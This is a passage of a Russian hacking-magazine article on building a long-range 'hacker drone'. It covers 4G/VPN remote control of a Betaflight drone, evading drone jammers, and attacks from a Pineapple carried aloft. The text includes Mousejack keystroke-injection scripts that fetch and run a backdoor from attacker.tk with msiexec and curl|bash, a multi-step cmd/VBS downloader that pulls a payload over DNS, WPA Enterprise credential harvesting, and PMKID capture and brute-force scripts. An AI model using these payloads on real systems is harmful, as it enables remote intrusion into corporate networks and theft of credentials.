Здесь выпол няет ся цик личное рас позна вание тек ста раз личных областей
экра на, на которых рас положе ны те или иные показа ния. Пос ле их пре обра- 
зова ния с изоб ражения на экра не в понят ную компь юте ру фор му мож но
обра баты вать их даль ше. В этом при мере скрипт исполь зует син тезатор речи
для информи рова ния о низ ком заряде акку муля тора.

С помощью этих при мити вов управле ния и телемет рии мож но пол ностью
авто мати зиро вать полет дро на.

По доб ный под ход чрез вычай но прост в исполне нии и сра зу откры вает
дос туп и к управле нию, и к телемет рии, но име ет лиш нее зве но — телефон
с Wi-Fi. Сиг нал от телефо на может быть слиш ком силь ный, что может негатив- 
но ска зать ся на управле нии. Плюс ко все му дрон в этом слу чае вынуж ден
под нимать дос таточ но боль шую лиш нюю мас су (око ло 50 г).

4G → UART → äðîí
Но зачем уда лен но под клю чать ся к дро ну через его явные интерфей сы
управле ния (по Wi-Fi)? Почему бы зло умыш ленни ку не под клю чить ся нап- 
рямую к его полет ному кон трол леру? В слу чае с дро нами по типу «готово го
решения» мож но стол кнуть ся, ско рее все го, все с той же проб лемой — зак- 
рытым про токо лом и необ ходимостью его ревер сить.

Од нако есть мно жес тво откры тых решений для управле ния дро нами, нап- 
ример про шив ки Betaight, iNav или Ardupilot. Самое прос тое из них —
Betaight сре ди про чего под держи вает пря мую отправ ку команд управле ния
мотора ми в полет ный кон трол лер через уже зна комый UART. Это зна чит, что
управлять дро ном мож но поч ти с любого одноплат ника. Сто ит лишь под клю- 
чить к нему 4G-модуль и нас тро ить VPN. Все-таки с откры тыми решени ями
работать куда при ятнее.

Итак, ата кующе му сна чала необ ходим одноплат ный компь ютер минималь- 
ного раз мера и мас сы, а так же 4G-модем. Отличный вари ант — NanoPi Neo
Air и Sim7600G, оба устрой ства мини атюр ны и прак тичес ки иден тичны
по габари там.

Од ноплат ный компь ютер и 4G-модем для уда лен ной свя зи с дро ном

Вза имо дей ствие с 4G-модемом идет по UART-интерфей су, которых у NanoPi
целых три. Пер вый UART мож но исполь зовать для интернет-канала, а вто рой
уже для свя зи с дро ном. На сле дующем рисун ке пред став лена рас пинов ка
кон тактов на мини-компь юте ре NanoPi для управле ния дро ном и свя зи по 4G.

Рас пинов ка кон тактов на мини-компь юте ре NanoPi для управле ния дро -
ном и свя зи по 4G

Пос ле неболь шой пай ки модуль уда лен ного управле ния по 4G может выг- 
лядеть так, как про демонс три рова но на сле дующем рисун ке.

Го товый модуль управле ния по 4G

Да же самые прос тые полет ные кон трол леры час то име ют минимум два UART-
интерфей са, один из которых, ско рее все го, занят штат ным при емни ком,
а вто рой как раз мож но исполь зовать для уда лен ного управле ния по 4G. Под- 
клю чение NanoPi к полет ному кон трол леру про исхо дит ана логич но штат ному
при емни ку — с помощью UART.

Под клю чение NanoPi к полет ному кон трол леру

Так мож но перек лючать дрон на тот или иной режим управле ния без физичес- 
кого вме шатель ства и перепай ки, исклю читель но прог рам мным спо собом (о
нем чуть поз же). Все, что тре бует ся, — толь ко прик репить NanoPi + Sim7600G
и соеди нить соот ветс тву ющий шлейф. В ито ге дрон с 4G-управле нием выг- 
лядит при мер но так.

Схе ма под клю чения 4G-управле ния к дро ну с откры той про шив кой

В зависи мос ти от раз меров и фор мы дро на пла ту мож но уста нав ливать в раз- 
ных мес тах и даже внут ри кор пуса рамы. Мож но даже рас печатать соот ветс- 
тву ющие креп ления на 3D-прин тере.

По ра перей ти к прог рам мной нас трой ке. Одноплат ный компь ютер NanoPi
край не удо бен в нас трой ке — он эму лиру ет кон соль пря мо по USB, ког да
на него пода ется питание. Все, что тре бует ся для работы с ним, — это лишь
открыть кон соль непос редс твен но на USB:

minicom -D /dev/ttyACM0 -b 9600 

Да лее все дей ствия про изво дят ся уже внут ри NanoPi. Сна чала необ ходимо
отклю чить все лиш нее:

systemctl disable wpa_supplicant.service 
systemctl disable NetworkManager.service 

И акти виро вать два UART:

armbian-config 
System -> Hardware: 
   Включаем UART1 и UART2, перезагружаемся 

Да лее нуж но пос тавить необ ходимые пакеты:

apt install minicom openvpn python3-pip cvlc 

Minicom не обя зате лен, но он может пот ребовать ся для пус коналад ки — про- 
вер ки, пра виль но ли работа ет UART и на каком пор те что у нас рас положе но.
Нап ример, так мож но удос товерить ся, что NanoPi и Sim7600G-модем слы шат
друг дру га через пер вый UART-интерфейс:

minicom -D /dev/ttyS1 -b 115200 
AT 

Ес ли все ок, то для модема дол жна быть про писа на кон фигура ция мобиль- 
ного под клю чения:

/etc/ppp/peers/tele2
connect "/usr/sbin/chat -v -f /etc/chatscripts/gprs -T internet.
tele2.ru"
/dev/ttyS1 
115200 
noipdefault 
usepeerdns 
defaultroute 
persist 
noauth 
nocrtscts 
local
user "tele2"
password "tele2"
debug 

refuse-chap 
refuse-mschap 
refuse-mschap-v2 
refuse-eap 

/etc/chatscripts/gprs
ABORT           BUSY 
ABORT           VOICE 
ABORT           "NO CARRIER"
ABORT           "NO DIALTONE"
ABORT           "NO DIAL TONE"
ABORT           "NO ANSWER"
ABORT           "DELAYED"
ABORT           "ERROR"
ABORT           "+CGATT: 0"
""              AT 
TIMEOUT         12 
OK              ATH 
OK              ATE1 

1, , , ,0,0 OK              AT+CGDCONT= "IP" "\T" ""
99# OK              ATD*

TIMEOUT         22 
CONNECT         ""

Те перь, что бы акти виро вать 4G, выпол няем сле дующую коман ду:

pon tele2 

Ес ли сеть появи лась и ping идет, зна чит, эти две кро шеч ные пла ты всег да
смо гут вый ти на связь по 4G-интерне ту, где бы они ни находи лись. Что бы
при вклю чении устрой ства сра зу под нималась сеть, нуж но под готовить сле- 
дующий файл:

/etc/network/interfaces
auto tele2 
iface tele2 inet ppp 
provider tele2 

Мо биль ный интернет — это лишь физичес кий линк. Далее тре бует ся логичес- 
кий линк, что бы мож но было вый ти на связь с устрой ством. Для это го нуж но
под клю чить устрой ство к некото рому опор ному сер веру по VPN:

cp your_vds.ovpn /etc/openvpn/client/vds.conf 
systemctl enable openvpn-client@vds 

Ес ли все прош ло нор маль но, то теперь всег да пос ле вклю чения устрой ства
к нему мож но получить дос туп, соеди нив шись с ним по VPN через выделен- 
ный опор ный сер вер. Нас тало вре мя нем ного погово рить о том, как NanoPi
может управлять дви гате лями дро на.

Сов ремен ные полет ные кон трол леры — весь ма слож ные устрой ства,
которые, как пра вило, под держи вают мас су про токо лов управле ния. И если
на физичес ком уров не для свя зи с полет ным кон трол лером исполь зует ся
UART, то на логичес ком про ще все го реали зовать управле ние через про токол
MSP и соот ветс тву ющую Python-биб лиоте ку:

 cd /opt/
  git clone https://github.com/alduxvm/pyMultiWii
  pip3 install pyserial

Про токол дос таточ но прос той, а сама биб лиоте ка тре бует лишь зна ния
номера пор та. NanoPi под клю чен к полет ному кон трол леру дро на с помощью
UART2, сле дова тель но, это ttyS2-порт. Имея порт, мож но уже отправ лять зна- 
чения основных каналов: кре на, обо ротов про пел леров и так далее, а так же
вспо мога тель ных каналов:

~/src/control.py
#!/usr/bin/python3

    from sys import path; path.append("/opt/pyMultiWii/")
   from time import sleep
   from threading import Thread
   from pymultiwii import MultiWii

  board = MultiWii("/dev/ttyS2")
roll=1500
pitch=1500
throttle=988
yaw=1500
aux1=1000
aux2=1500
aux3=1500
aux4=1500

 def arm():
    global aux1
     aux1 = 2000

 def disarm():
    global aux1
     aux1 = 1000

 def send():
     INTERVAL = 0.01
    while True:

         board.sendCMD(16, MultiWii.SET_RAW_RC, [roll,pitch,throttle,
yaw,aux1,aux2,aux3,aux4])
       sleep(INTERVAL)

   main = Thread(target=send, args=())
main.start()
do_something()
main.join()

Сто ит отме тить, что, даже если дрон не летит и на его дви гате ли не пода ются
никакие коман ды, на него все рав но дол жны неп рерыв но отправ лять ся дан- 
ные с ней траль ными зна чени ями сти ков управле ния, при чем дос таточ но час- 
то. Так полет ный кон трол лер понима ет, что связь с при емни ком все еще под- 
держи вает ся.

Что бы полет ный кон трол лер знал, отку да брать коман ды управле ния дви- 
гате лями, в его нас трой ках нуж но ука зать, что NanoPi физичес ки соеди нен
с его интерфей сом UART2, а прог рам мно исполь зует ся про токол MSP.
Для Betaight cде лать это мож но с помощью прог раммы BetaightCongurator,
как показа но на сле дующих рисун ках.

Ме няем активный UART для при емни ка (NanoPi под клю чен
к UART2 полет ного кон трол лера, а штат ный при емник — к UART1)

В парамет рах при емни ка ука зыва ем про токол управле ния MSP

Ес ли все сде лано пра виль но, то с любого рас сто яния появит ся воз можность
уда лен но управлять таким дро ном, пока есть сиг нал мобиль ных сетей и,
конеч но же, пока не сел акку муля тор.

Пе реда вать видео мож но, под соеди нив DVP-камеру нап рямую к пла те
NanoPi. А стрим кар тинки с нее по сети воз можен пос редс твом сле дующе го
кода:

600  cvlc v4l2:///dev/video0:chroma=h264:width=800:height= --sout
'#transcode {vcodec=h264,acodec=mp3,samplerate=44100}:std{
access=http,mux=ffmpeg{mux=flv},dst=0.0.0.0:8080}' –vvv 

Что бы уда лен но видеть кар тинку с дро на на любом рас сто янии, нуж но прос то
открыть в бра узе ре , где  — IP-адрес VPN
NanoPi.

«http://drone:8080/» drone

При веден ные выше шаги реали зации управле ния дро ном через мобиль- 
ные сети — это лишь кон цепт, демонс три рующий все необ ходимые при мити- 
вы свя зей. Что бы дрон реаль но полетел и не раз бился, тре бует ся реали- 
зовать еще удоб ный интерфейс управле ния.

Это го мож но добить ся через под клю чение пуль та, нап ример EdgeTX, спо- 
соб ного работать как HID-устрой ство. А так же через тран сля ции положе ний
его сти ков в коман ды управле ния, которые переда ются по сети на NanoPi,
интер пре тиру ются там в соот ветс тву ющие MSP-коман ды и по UART попада ют
на полет ный кон трол лер.

А мож но пой ти более уни вер саль ным спо собом, поз воля ющим управлять
полетом без спе циаль ного обо рудо вания, пря мо с кла виату ры ноут бука
или экра на телефо на. Это про ще все го реали зовать через неболь шое
веб-при ложе ние, средс тва ми JavaScript, счи тывая соот ветс тву ющие события
кла виату ры и нажатия по вир туаль ным сти кам в сооб щения, опе ратив но
переда ваемые по сети через WebSockets на NanoPi.

Для сис тем под управле нием Ardupilot сущес тву ют даже готовые решения.

Çàùèòà îò ãëóøèëîê
Проб лему помех от зда ний и огра ничен ного ради уса управле ния мож но
решить пред став ленны ми выше спо соба ми, прев ратив выш ки сотовой свя зи
из глав ного источни ка помех в луч шего дру га.

Но для дро нов есть еще одна опас ность, которая их может под жидать
непос редс твен но на самих объ ектах, — это подави тели дро нов, или глу шил- 
ки.

Для боль шинс тва подоб ных устрой ств must-have явля ется подав ление
час тот 2,4 ГГц, на которых лета ет боль шинс тво прос тых дро нов (с управле- 
нием по Wi-Fi). Сюда же попада ет часть час тот и про фес сиональ ных дро нов.
У серь езных глу шите лей дро нов в час тотах подав ления учте ны каналы
управле ния всех про фес сиональ ных про токо лов (TBS, ELRS, FRSKY и про- 
чих) — 800, 900, 2400 МГц.

Од нако самая рас простра нен ная мера про тиво дей ствия дро нам — глу- 
шение или спу финг сиг налов GPS. Под делав сиг налы со спут ников, дро ну
мож но вну шить любое мес тополо жение, что может быть исполь зовано
для кон тро ля над его переме щени ем. Так как в дос таточ но мно гих про токо лах
управле ния дро нами при меня ется серь езное шиф рование, впол не логич ной
выг лядит ата ка на GPS, так как она пред став ляет ся наибо лее общей. Поэто му
GPS-при емник ока зыва ется еще одним сла бым мес том дро нов. И потен- 
циаль ный зло умыш ленник, не жела ющий, что бы его дрон был сбит такой глу- 
шил кой, дол жен изба вить ся от GPS.

В некото рых «готовых» моделях дро нов бор товой GPS мож но отклю чить
прог рам мно. FPV-дро ны Cinewhoop час то исполь зуют ся в полетах
по помеще ниям, где, как извес тно, GPS прак тичес ки не ловит ся. Поэто му
час то GPS-при емни ки в такие модели не ста вят. Дро ны с откры тыми сис- 
темами управле ния, такими как Betaight, име ют модуль ную струк туру и всег- 
да поз воля ют как вклю чить, так и отклю чить бор товой GPS, чего нель зя ска- 
зать о более бюд жетных вари антах, которые прос то отка зыва ются лететь
без него.

Что каса ется глу шения каналов управле ния, то заг лушить дрон с управле- 
нием по мобиль ным сетям тоже не так-то прос то. Ведь теперь нуж но подав- 
лять сра зу ряд диапа зонов мобиль ных сетей раз ных поколе ний. А вари антов
час тот у 2G, 3G и 4G немало. Если заг лушить все 4G-сети (1900, 2300, 2500,
2600 МГц), модем дро на перей дет на 3G (800, 850, 900, 1900, 1800, 2100,
2600 МГц), заг луша ем и их — перей дет на 2G (900, 1800, 1900 МГц).

Тем не менее сущес тву ют нап равлен ные ради опуш ки, отклю чающие мощ- 
ным импуль сом вооб ще все радио, но им, впро чем, тре бует ся дос таточ но
точ ное наведе ние на цель.

PINEAPPLE

Вре мя попод робнее рас смот реть сами ата ки. Для хакера дрон лишь тран- 
спорт. Реаль но все ата ки зло умыш ленник может про водить с помощью
некото рого мини атюр ного устрой ства, прик реплен ного к такому дро ну.
Это может быть уже зна комый по пре дыду щей статье Pineapple. Он без проб- 
лем помес тится на любой дрон, ведь он малень кий и лег кий.

Лег ковес ная реали зация Pineapple прев раща ет дрон в хакер ский инс тру -
мент

Так как этот хакер ский девайс может дос тавлять ся на мес то хоть дро ном, хоть
поч товым голубем, то важ на его мас са. Сум марно мас са такого Pineapple
вмес те с акку муля тором получа ется все го от 17 до 43 г, в зависи мос ти
от типа батареи. Дро ны име ют запас мощ ности для про тиво дей ствия вет ру
и уста нов ки экшн-камер и спо кой но могут под нять от тре ти до полови ны сво- 
ей изна чаль ной мас сы без зна читель ной потери лет ных харак терис тик. Так
что с таким гру зом спра вит ся поч ти любой, даже кар манный сел фи-дрон.
И это еще одно несом ненное пре иму щес тво перед гро моз дким готовым
устрой ством Pineapple от hak5 — его смо жет под нять далеко не каж дый дрон.

Мол ниенос ность — это глав ное усло вие, которое потен циаль ный зло- 
умыш ленник учи тыва ет при пла ниро вании атак с дро на. Если в пре дыду щей
статье про Pineapple рас смот рены ста тич ные ата ки на бес про вод ные сети,
ког да тре бует ся дол го находить ся в непод вижной точ ке, то с дро ном целесо- 
образнее про водить динамич ные ата ки — быс трые и мобиль ные, пок рыва- 
ющие мно жес тво целей.

Но какие бес про вод ные тех нологии могут быть ата кова ны столь стре- 
митель но, что у дро на не успе ет сесть акку муля тор? Впол не оче вид но, что
это дол жны быть ата ки, сла бо завязан ные на людей, так как людям час то тре- 
бует ся мно го вре мени, что бы при нять решение. Дру гое дело — чис то компь- 
ютер ные ата ки, не тре бующие никако го учас тия поль зовате ля. Машины не так
мед литель ны, как человек, и есть нес коль ко zero click атак, про веде ние
которых занима ет нес коль ко секунд. При этом дро ну не нуж но даже совер- 
шать корот ких оста новок — все может про исхо дить пря мо во вре мя полета.

Да лее пред став лено нес коль ко таких атак, начиная с самых кри тич ных.

Mousejack
Су щес тву ет рас простра нен ная уяз вимость, надеж но, на десяти летия засев- 
шая в сот нях тысяч бес про вод ных мышек и кла виатур. Ее экс плу ата ция воз- 
можна с кинема тог рафич ной эффектив ностью — высочай шей ско ростью
(одна-две секун ды) и мак сималь ным импактом — RCE, и ата кующий сра зу
получа ет шелл. И имя ей — Mousejack.

Ата ка на бес про вод ные HID-устрой ства (мыши и кла виату ры) — это,
пожалуй, самая зре лищ ная ата ка, спо соб ная ском про мети ровать компь ютер
за секун ды. Она счи тает ся самой опас ной из всех воз можных атак, так
как поз воля ет минималь ными уси лиями, по ради ока налу, уда лен но отпра вить
про изволь ные нажатия кла виш, ины ми сло вами, выпол нить про изволь ный
код. Никаких пред варитель ных под боров паролей, осо бых дей ствий поль- 
зовате ля — сра зу RCE.

Эту ата ку мож но эффектив но про водить с помощью спе циаль ного устрой- 
ства CrazyRadio PA и любого одноплат ника, нап ример Raspberry, или уже зна- 
комо го нам устрой ства Pineapple, раз работан ного спе циаль но для атак
на бес про вод ные сети. Усло вие стар та для ата ки может быть добав лено так:

startup.sh
... 

   elif lsusb | grep -q 'Nordic Semiconductor'; then
  echo "[*] mousejack attack"

 cd mousejack 
  

 
 screen -dmS mousejack -t jackit -L -Logfile "$time-mousejack-%n.

log" './mousejack.sh'
  - cd
... 

Ины ми сло вами, если в Pineapple встав лен донгл CrazyRadio PA, то авто мати- 
чес ки запус кает ся ата ка на бес про вод ные мыши и кла виату ры:

mousejack/mousejack.sh
#!/bin/bash

led green on 
 python3 jackit --autopwn --script ducky.txt 

led green off 

Так как ата кующий не зна ет адре са бес про вод ных устрой ств, он вынуж ден
ата ковать все, что слы шит в ради оэфи ре, поэто му исполь зует ся флаг 

.
autop-

wn
Ес ли соеди нить CrazyRadio с Pineapple, получит ся очень опас ное хакер- 

ское устрой ство.

Ус трой ство, спо соб ное на рас сто янии взло мать компь ютер через бес -
про вод ную перифе рию

Дрон с таким устрой ством смо жет про бить периметр прак тичес ки любой ком- 
пании.

Дрон заряжен Mousejack и готов лететь

Та кой дрон будет ата ковать все устрой ства вок руг себя, пока летит.
Экс плу ата ция Mousejack очень похожа на BadUSB-hid. Тут ата кующий

стал кива ется с теми же проб лемами при наборе команд:
при исполь зовании нажатий кла виш при ходит ся уга дывать язы ковую рас- 
клад ку;

•

при исполь зовании ALT-кодов для набора тек ста команд (воз можно толь ко
на Windows) — уга дывать ста тус кла виши Num Lock.

•

И в том и в дру гом слу чае зло умыш ленни ку при дет ся для надеж ности
засылать нажатия дваж ды, меняя либо рас клад ку, либо ста тус NumLock. Но в
слу чае с ALT-кодами понадо бит ся в три-четыре раза боль ше нажатий. А если
нет раз ницы, то зачем переда вать боль ше? В общем, тут сно ва раци ональ нее
исполь зовать прос той метод отправ ки нажатий непос редс твен но самих кла- 
виш вмес то их кодов:

mousejack/ducky.txt
GUI SPACE 
GUI r 
DELAY 300 
STRING msiexec /i https://en.attacker.tk/backdoor.msi /quiet 
DELAY 300 
ENTER 

SHIFT ALT 
DELAY 300 
SHIFT CTRL 
DELAY 300 

GUI r 
DELAY 300 
STRING msiexec /i https://ru.attacker.tk/backdoor.msi /quiet 
DELAY 300 
ENTER 

Так как исполь зует ся ради ока нал, ата кующий неиз бежно стол кнет ся
с помеха ми. Чем длин нее набира емая коман да, тем боль ше веро ятность, что
та или иная кла виша «не долетит». Дос таточ но все го одной ошиб ки, что бы
RCE-коман да не рас позна лась.

При веден ный здесь при мер уже зна ком читате лям по 
. Эта воз можность име ется в любой ОС Windows, она поз воля ет за одно

дей ствие ска чать и запус тить ука зан ную прог рамму уда лен ного управле ния.
Под ОС семей ства Unix зло умыш ленник может исполь зовать коман ду из раз- 
ряда .

статье про BadUSB-
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curl -L http://rce.attacker.tk/1.sh|bash
Да лее успешность ата ки зависит толь ко от лов кости управле ния дро ном

и наличия бес про вод ных мышек в ради усе око ло 10–15 м. Pineapple на дро не
будет пытать ся взло мать каж дый компь ютер через вновь пой ман ный ради- 
осиг нал от мыш ки или кла виату ры. Эффект ата ки дела ет ее похожей на фильм
или игру про хакеров, где взлом с помощью дро на про исхо дит за нес коль ко
секунд.

Скрин шот из компь ютер ной игры Watch Dogs 2

Продолжение статьи →

https://xakep.ru/2023/02/09/very-bad-usb/


СТРОИМ ХАКЕРСКИЙ БЕСПИЛОТНИК:
ДАЛЬНОБОЙНЫЙ

И С ЗАЩИТОЙ ОТ ГЛУШИЛОК

COVERSTORY  НАЧАЛО СТАТЬИ←

Ре аль ный мир отли чает ся от вымыш ленно го. Боль шая часть из того, что
показа но в играх и филь мах о воз можнос тях хакеров, име ет мало обще го
с реаль ностью, но эта ата ка — одна из нем ногих, которые в жиз ни выг лядят
точ но так же, как на экра не.

Пред ставь: ты сидишь дома или работа ешь в офи се, где-нибудь на вер- 
хних эта жах или в глу бине режим ного объ екта, в сот нях мет ров от охра няемо- 
го кон троль но-про пус кно го пун кта. Кажет ся, что ты в пол ной информа цион- 
ной безопас ности и внеш ний наруши тель до тебя не доберет ся. Но тут к зда- 
нию под лета ет подоб ный дрон, и, пока ты удив ленно смот ришь на него через
окно (а воз можно, ты даже и не заметишь его вов се), он все го за секун ду
запус тит вре донос ный код на тво ем компь юте ре. Так что ты вряд ли успе ешь
заметить что-либо подоз ритель ное, а если и заметишь, то вряд ли сопос- 
тавишь появ ление в небе дро на с уста нов кой бэк дора на тво ем компь юте ре.
С исполь зовани ем это го метода зло умыш ленник смо жет про ник нуть в кор- 
поратив ную сеть — пос ледс твия это го, думаю, объ яснять никому не нуж но.

Про бив перимет ра с дро на за одну секун ду

Дрон исполь зует еще и эффект отвле чения: поль зователь смот рит в окно,
пока на его ноут буке на долю секун ды всплы вает окно «Пуск → Выпол нить»
и запус кает ся бэк дор или RAT. Через пару минут, веро ятно, зло умыш ленник
уже успе ет опро бовать пару-трой ку экс пло итов.

По иро нии судь бы чаще все го бес про вод ные мыш ки и кла виату ры есть
либо у IT-пер сонала, либо у руково дите лей. Так что добыча зло умыш ленни ка
будет сра зу весомая. Воз можно, это ока жет ся комп домен ного адми нис тра- 
тора, в таком слу чае события уже во внут ренней сети будут раз вивать ся стре- 
митель но. А воз можно, это будет какой-то началь ник, на рабочем сто ле
которо го мно го цен ных фай лов. Сло вом, какой бы компь ютер это ни был, он,
ско рее все го, под клю чен к внут ренней сети, а зна чит, зло умыш ленник поч ти
навер няка дос тигнет глав ной цели — про бития перимет ра.

Что бы про бить периметр опи сан ным спо собом, с компь юте ра, под- 
вержен ного этой ата ке, дол жен быть выход в интернет до опор ного сер вера
зло умыш ленни ка. Отту да он ска чива ет и запус кает бэк дор, на который потом
пос тупа ют коман ды управле ния. Но далеко не в каж дой внут ренней сети раз- 
решены пря мые соеди нения на внеш ние IP-адре са. Одна ко популяр ные
методы эксфиль тра ции, такие как DNS, впол не могут работать, и про изволь- 
ные зап росы, содер жащие дан ные, могут выходить из сети наружу поч ти всег- 
да. Это зна чит, что такой канал может быть исполь зован как тран спорт
для ска чива ния бэк дора и его пос леду ющей работы.

Ре али зовать заг рузку нуж ной хакеру прог раммы по DNS мож но и базовы- 
ми средс тва ми любой ОС. Нап ример, для Windows самым перено симым спо- 
собом явля ется VBS-скрипт, который написан на пол ноцен ном интер пре- 
тиру емом язы ке прог рамми рова ния (смот ри 

). Но раз мер вво димой в окно «Выпол нить» коман ды
огра ничен, и для набора VBS-скрип та, заг ружа юще го средс тво уда лен ного
управле ния через DNS, зло умыш ленни ку пот ребу ются минимум три коман ды:

статью про методы инфиль тра- 
ции и эксфиль тации

mousejack/ducky-dnsexec.txt
GUI r 
DELAY 300 
STRING cmd /C "(echo On Error Resume Next& echo Set objShell = 
CreateObject^("WScript.Shell"^)& echo Set writer = CreateObject^("
Scripting.FileSystemObject"^).createtextfile^("out.exe"^))>1.vbs& 
ping x1.attacker.tk"
ENTER 

GUI r 
DELAY 300 

txt d
STRING cmd /C "(echo For d = 1 To 927& echo pos = 0& echo While pos 
= 0& echo Set exec = objShell.Exec^("nslookup -type= "^&d^&".txt.
attacker.tk"^)& echo res = exec.Stdout.ReadAll^(^))>>1.vbs& ping x2.
attacker.tk"
ENTER 

GUI r 
DELAY 300 

?STRING cmd /C "(echo pos = inStr^(1,res," "^)& echo txt = Mid^(res,
pos+1,253^)& echo Wend& echo For b = 0 To Len^(txt^)/2-1& echo 
writer.Write Chr^(CInt^("^&H" ^& Mid^(txt,1+b*2,2^)^)^)& echo Next& 
echo Next)>>1.vbs& ping x3.attacker.tk"
ENTER 

GUI r 
DELAY 300 
STRING cmd /C "wscript 1.vbs & out.exe"
ENTER 

При выпол нении команд на сер вер зло умыш ленни ка дол жно прий ти три DNS-
отсту ка, озна чающих успешность набора команд.

Это отличный при мер того, как ты или твоя ком пания могут быть лег ко
взло маны, при чем даже без дро на (об этом в одной из сле дующих ста тей).
И чем боль ше ком пания, тем выше веро ятность встре тить под вержен ную уяз- 
вимос тям бес про вод ную перифе рию. Мой опыт показы вает: нес мотря на то
что эта уяз вимость най дена еще в 2016 году, о ней до сих пор мало кто зна ет.
А те, кто зна ет, силь но ее недо оце нива ют. Тем не менее встре чает ся она пов- 
семес тно. А аппа рат ная спе цифи ка этой уяз вимос ти обес печива ет ей
еще дос таточ но дол гую жизнь, ведь компь ютер ные мыш ки мы не при вык ли
менять так же час то, как телефо ны.

Àòàêà EAP
В  уже рас смат ривались ата ки на WPA Enterprise, но там
опи сано воз можное их при мене ние в ста тич ном режиме — с ожи дани ем
попада ния кли ентов в ради ус дей ствия. С дро ном хакер может про вес ти
такую ата ку в ином клю че — динамич но, самос тоятель но обна ружи вая и ата- 
куя кли ент ские устрой ства.

статье про Pineapple

Те перь он в сос тоянии обле теть каж дое зда ние, где раз меща ются цели
атак. Так как отправ ка учет ных дан ных WPA Enterprise не тре бует учас тия поль- 
зовате ля, она про исхо дит дос таточ но быс тро, что дела ет эту ата ку воз можной
даже без оста нов ки про лета юще го мимо дро на.

На пред став ленной ниже иллюс тра ции телефо ны сот рудни ков бес созна- 
тель но кинули в про лета ющий мимо дрон учет ные записи кор поратив ной бес- 
про вод ной сети.

Компь ютер ная ата ка с дро на на кли ент ское устрой ство

Для реали зации такой ата ки зло умыш ленни ку не нуж но дораба тывать скрип ты
Pineapple. Все необ ходимое уже про дела но в соот ветс тву ющем раз деле пре- 
дыду щей статьи. Для акти вации ата ки на Pineapple прос то ста вит ся перемыч- 
ка на GPIO-25 (замыка ющая пины 20 и 22), пос ле чего устрой ство вклю чает- 
ся. Загорел ся зеленый све тоди од — зна чит, точ ка дос тупа под нялась и ата- 
кующий может лететь. Дрон вмес те с устрой ством при лета ет обратно, горит
крас ный или жел тый све тоди од — зна чит, мы вер нулись не с пус тыми руками
и пароль или хеш чьей-то домен ной учет ки сох ранен на кар те памяти. С этой
домен ной учет кой зло умыш ленник впос ледс твии может получить уда лен ный
дос туп к поч те и рас крыть кон фиден циаль ные дан ные или даже, при наличии
у ком пании VPN, получить дос туп в ее локаль ную сеть.

Çàõâàò õåíäøåéêà WPA è PMKID
В пре дыду щей  рас смот рен ряд атак на аутен тифика цию
Wi-Fi. Аутен тифика ция (зах ват PMKID) и деаутен тифика ция (зах ват WPA Hand-
shake) про исхо дят дос таточ но быс тро. Более того, если зах ват WPA Hand-
shake тре бует опре делен ных обсто ятель ств (наличия кли ентов), то зах ватить
PMKID, если име ется уяз вимая точ ка дос тупа, мож но всег да и дос таточ но
быс тро.
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PMKID — это еще один при год ный для брут форса хеш, который мож но
получить из пер вой час ти четырех сту пен чатого рукопо жатия (EAPOL M1).
Для это го не нуж ны аутен тифици рован ные кли енты, такой пакет точ ка дос тупа
может отпра вить ата кующе му сама в ответ на зап рос ассо циации:

wpapsk/auth.sh
#!/bin/bash

 +dumpfile="pmkid-$(date '%H:%M:%S_%d.%m.%Y')"

7  
   | 

line 

hcxdumptool -i mon0 --enable_status= -o $dumpfile.pcapng 
--disable_client_attacks --disable_deauthentication $* while read 

do
  |       if echo "$line" grep -q 'PMKIDROGUE:'; then

       led yellow on 2> /dev/null 
   fi
done

   tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap 
  rm -f $dumpfile.pcapng 

По ка дрон летит, этот скрипт отправ ляет зап рос ассо циации на каж дую точ ку
дос тупа в пре делах досяга емос ти ради осиг нала.

Компь ютер ная ата ка с дро на на точ ку дос тупа

Как толь ко PMKID зах вачен, загора ется жел тый све тоди од. И WPA handshake,
и PMKID дает хеш-сум му, по которой мож но вос ста новить пароль к точ ке дос- 
тупа методом перебо ра по сло варю:

wpapsk/brute-pmkid.sh
#!/bin/bash

60 while sleep 
 pcap  .cap for in *
  do echo "$pcap"

    hcxpcapngtool "$pcap" --pmkid=/tmp/m1.pmkid 
   hcxhash2cap --pmkid=/tmp/m1.pmkid -c /tmp/out-pmkid.pcap 

     |  
 |  

for bssid in $(echo 0 | aircrack-ng "/tmp/out-pmkid.pcap" grep
'with PMKID' awk '{print $2}')
   do

          if [ -f "/tmp/$bssid" ]; then
       continue
     fi

      touch "/tmp/$bssid"
  

  
     aircrack-ng -w /home/pi/wpapsk/passwords_top1k.txt -b "$bssid"
"/tmp/out-pmkid.pcap" -l "$bssid.txt"

          if [ -s "$bssid.txt" ]; then
       led red on 2> /dev/null 
       exit
     fi
   done

    rm -f /tmp/m1.pmkid 
    rm -f /tmp/out-pmkid.pcap 
 done
done

Pineapple с таким скрип том в сос тоянии сам опре делить сла бые пароли к точ- 
кам дос тупа. Для это го сна чала уда ляют ся все пакеты EAPOL M2 (handshake),
так как про веря ются толь ко с PMKID. Пос ле их уни кали зации, что бы не бру- 
тить одни и те же хеши мно гок ратно, запус кает ся уже брут форс пря мо в воз- 
духе. Если пароль подоб ран, загора ется крас ный све тоди од.

Скрипт слу жит хорошим при мером манипу ляции наб ранны ми хешами,
ведь в таком слу чае  при наличии handshake игно риру ет PMKID.
Вооб ще, бру тить хеши целесо образно на более мощ ном обо рудо вании, ведь
все соб ранные в полете хеши сох раня ются на кар те памяти Pineapple.

aircrack-ng

Ðàçâåäêà áåñïðîâîäíûõ ñåòåé
При мени тель но к ата кам на бес про вод ные сети дрон весь ма неп лохо под- 
ходит на роль раз ведчи ка. Раз местив все тот же Pineapple и под клю чив к нему
внеш ний GPS-донгл, ата кующий может три ангу лиро вать рас положе ние каж- 
дого бес про вод ного устрой ства (точек дос тупа Wi-Fi, кли ентов, Bluetooth-
устрой ств и даже бес про вод ных мышек и кла виатур) и фик сировать их рас- 
положе ние на кар те. Эта информа ция может быть очень акту аль на как для
ата кующе го, выяв ляюще го повер хность будущих атак, так и для защит ников,
кон тро лиру ющих свои ресур сы. Ведь весь необ ходимый сбор дан ных и рас- 
четы пол ностью про изво дит прог рамма Kismet. На выходе — дамп SQLite,
удоб ный для самос тоятель ного пар синга.

Для геог рафичес кой раз ведки бес про вод ных сетей тре бует ся лишь два
ком понен та, которые на Pineapple запус кают ся при стар те в положе нии
перемыч ки на 27-м GPIO:

startup.sh
... 

 elif jmp 27; then
  echo "[*] wi-fi recon (dynamic)"

 monitor_enable 
 cd recon 

